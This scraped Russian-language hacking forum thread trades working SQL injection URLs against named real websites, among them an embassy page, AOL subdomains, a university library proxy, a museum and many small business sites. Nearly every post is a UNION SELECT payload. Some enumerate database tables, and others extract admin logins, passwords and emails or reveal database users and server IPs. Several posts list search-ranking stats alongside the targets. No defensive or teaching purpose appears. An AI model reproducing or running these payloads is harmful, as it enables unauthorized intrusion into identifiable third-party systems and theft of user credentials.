SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Anat

    Anat New Member

    Joined:
    3 Oct 2011
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    HTML:
    http://asia-moto.ru/content.php?id=-19+UNION+SELECT+1--
    http://stpatsfc.com/news.php?id=-3045+UNION+SELECT+1--
    http://naspschools.org/board/board.php?id=-12+UNION+SELECT+1,2,3,4,5,6,7--
    http://grandsoleil.net/boat_shows.php?id=-113+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
    http://www.udc-caraudio.com/news_detail.php?id=-74+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
    http://listadotren.es/motor/series.php?id=/51
    http://weddingawards.com.br/premiacao/jurado-descritivo.php?id=/17
    http://www.couleursetnuances.com/realisation.php?id=-14 order/**/by/**/?--
    http://kagakribet.com/humor.php?id=-147+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11--
     
  2. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    490
    Likes Received:
    168
    Reputations:
    126
    Rambler.ru

    Code:
    http://easystudy.rambler.ru/'or(ExtractValue(1,concat(0x3a,(select(version())))))='1
     
    _________________________
    1 person likes this.
  3. Anat

    Anat New Member

    Joined:
    3 Oct 2011
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    HTML:
    http://lifelinebatteries.com/distributorpage.php?id=-766+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables--
    http://absolutehotelservices.com/press.php?id=-89+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
    http://peshtigotimes.net/index.php?id=-22462+UNION+SELECT+1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14+from+information_schema.tables--
    http://elkage.de/src/public/showterms.php?id=-1751+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--
    http://www.gardencentr.ru/content.php?id=-32+UNION+SELECT+1--
    http://www.relaisdesvignerons.com/lire_news.php?id=-36+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
    http://kotis.org/printer.php?id=-137+UNION+SELECT+1,2,3,4,5,6,7,8,9,10--
    http://www.sulapdiyan.com/sulap.php?id=-69+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables--
    http://senesco.com/newsitem.php?id=-291+UNION+SELECT+1,2,3,group_concat(table_name),5+from+information_schema.tables--
    http://asaravillaanAdsuite.com/templatelink.php?id=-39+UNION SELECT+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables--
    http://asaravillaandsuite.com/templatelink.php?id=-39+UNION%20SELECT+1,2,group_concat(table_name),4,5,6,7,8,9,10+from+information_schema.tables--
    
     
  4. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    256
    Likes Received:
    35
    Reputations:
    24
    Stroika.md
    Code:
    http://www.stroika.md/detail.php?id=1960+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+
    Версия: 5.1.72-2
    тИЦ: 40
    PR: 3/10
     
    #15784 Unknowhacker, 14 Apr 2014
    Last edited: 14 Apr 2014
  5. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    256
    Likes Received:
    35
    Reputations:
    24
    Code:
    http://hottey.com.ua/a_podarki_prikoly/f_cat/?vtype=big&id_big=1571+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+&page1=1
    Версия: 5.1.73-1-log
     
  6. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    264
    Likes Received:
    102
    Reputations:
    25
    Яндекс тИЦ [​IMG] 100 Google Page Rank 4
    Code:
    http://usovi.ru/index.php?page=news_details&news_id=-10%27+union+select+1,2,3,4,5,6,7,8,9,10+--+
     
  7. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    264
    Likes Received:
    102
    Reputations:
    25
    Яндекс тИЦ [​IMG] 10 Google Page Rank 1

    Мониторинг игровых серверов
    Code:
    http://www.gamesmonitoring.ru/index.php?page=view&id=-339%27+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18+--+
     
  8. gold52

    gold52 Member

    Joined:
    20 Jan 2013
    Messages:
    86
    Likes Received:
    12
    Reputations:
    5
    Code:
    http://pcidatabase.com/vendor_details.php?id=606-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
    http://redwheelweiser.com/p.php?id=35-999.9+union+select+1,2,3,4,5,6,7,8,9--
    http://iop.vast.ac.vn/theor/vtps/news.php?id=2-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11--
    http://yccd.am/picture.php?id=85-999.9+union+select+1,2,3,4,5,6--
    http://bbtv.az/ru/show.img.php?id=218-999.9+union+select+1,2,3,4,5,6,7,8,9,10--
    http://kms.bg/en/news.php?news_id=24-999.9+union+select+1,2,3,4,5,6--
     
  9. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    48
    Likes Received:
    10
    Reputations:
    0
    Code:
    http://www.npfpol.ru/cat.php?f=172+UNION+SELECT+1,2,database(),version(),5,6,user()+--+
    4.0.27-log
    npfpol10_poly
    npfpol10_poly@217.112.37.2
     
  10. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    48
    Likes Received:
    10
    Reputations:
    0
    Code:
    http://www.putridflowers.com/music.php?id=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(concat_ws(0x3a3a%20,loginid,password)),14,15,16,17+FROM+pf_admin+--+
     
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    209
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.cronograf.md/home.php?id=-8+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4--
    
     
  12. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    303
    Likes Received:
    27
    Reputations:
    9
    pr: 6
    alexa <20k
    вывод в title
    Code:
    http://0-www.learner.org.librus.hccs[COLOR=Olive].edu[/COLOR]/courses/envsci/unit/text.php
    [COLOR=Sienna]?unit=999999.9+union+all+select+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4+--+
    &secNum=7[/COLOR]
     
    #15792 BLurpi^_^, 9 May 2014
    Last edited: 9 May 2014
  13. danil7493

    danil7493 Member

    Joined:
    24 Jul 2011
    Messages:
    24
    Likes Received:
    7
    Reputations:
    10
    http://www.denysvonarend.com/en/hotel.php?id=-94+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11+--

    5.0.96-log:denys@81.171.239.161:denys
     
  14. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    303
    Likes Received:
    27
    Reputations:
    9
    [​IMG]
    Code:
    http://www.zolotoy-grad.ru/en/page.php
    ?m_id=999999.9' union all select 1,2,concat(0x7e,0x27,unhex(Hex(cast(user() as char))),0x27,0x7e),4,5 and 'x'='x
     
  15. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    561
    Likes Received:
    160
    Reputations:
    324
    А я вот что находил почти год назад

    Code:
    http://richmedia.aol.com/page1.php/images/demopopup.php?pageid=26&latest=0&s_term=&random=150'
    MySQL blind inj

    Code:
    http://gw-moviefone-dtc02.evip.aol.com/movies/pox/closestshowtimes.xml?zip=00501&id=23765
    MySQL blind inj
    А эту раскрутил не через обычный хавиж
    Code:
    http://richmedia.aol.com/demopopup.php?id=12771+Union+select+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15+--+
     
    #15795 psihoz26, 12 May 2014
    Last edited: 12 May 2014
    2 people like this.
  16. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    264
    Likes Received:
    102
    Reputations:
    25
    Музей войск противовоздушной обороны

    Code:
    http://www.mvpvo.ru/inner.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
    Яндекс тИЦ 90

    Яндекс Каталог Да

    Google Page Rank 3/10

    DMOZ.org каталог Да
     
    1 person likes this.
  17. Zen1T21

    Zen1T21 Member

    Joined:
    13 Jan 2013
    Messages:
    154
    Likes Received:
    31
    Reputations:
    2
    Сайт продажи велосипедов, книги
     
    #15797 Zen1T21, 20 May 2014
    Last edited: 21 May 2014
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    209
    Likes Received:
    46
    Reputations:
    33
    Embassy of India, Belgium

    Code:
    http://www.indembassy.be/pages.php?id=-22+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13--
    5.0.95
     
  19. palec2006

    palec2006 Banned

    Joined:
    30 Oct 2012
    Messages:
    40
    Likes Received:
    33
    Reputations:
    8
    HTML:
    http://www.rumahfiqih.com/x.php?id=-1+union+select+1,2,3,4,(select+concat(username,0x3A,password,0x3A,email,0x3A,level)+from+users+limit+0,1),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
     
  20. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    490
    Likes Received:
    168
    Reputations:
    126
    Code:
    http://spenserians.cath.vt.edu/TextRecord.php?textsid=34360+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19--+g
     
    _________________________
Loading...
Thread Status:
Not open for further replies.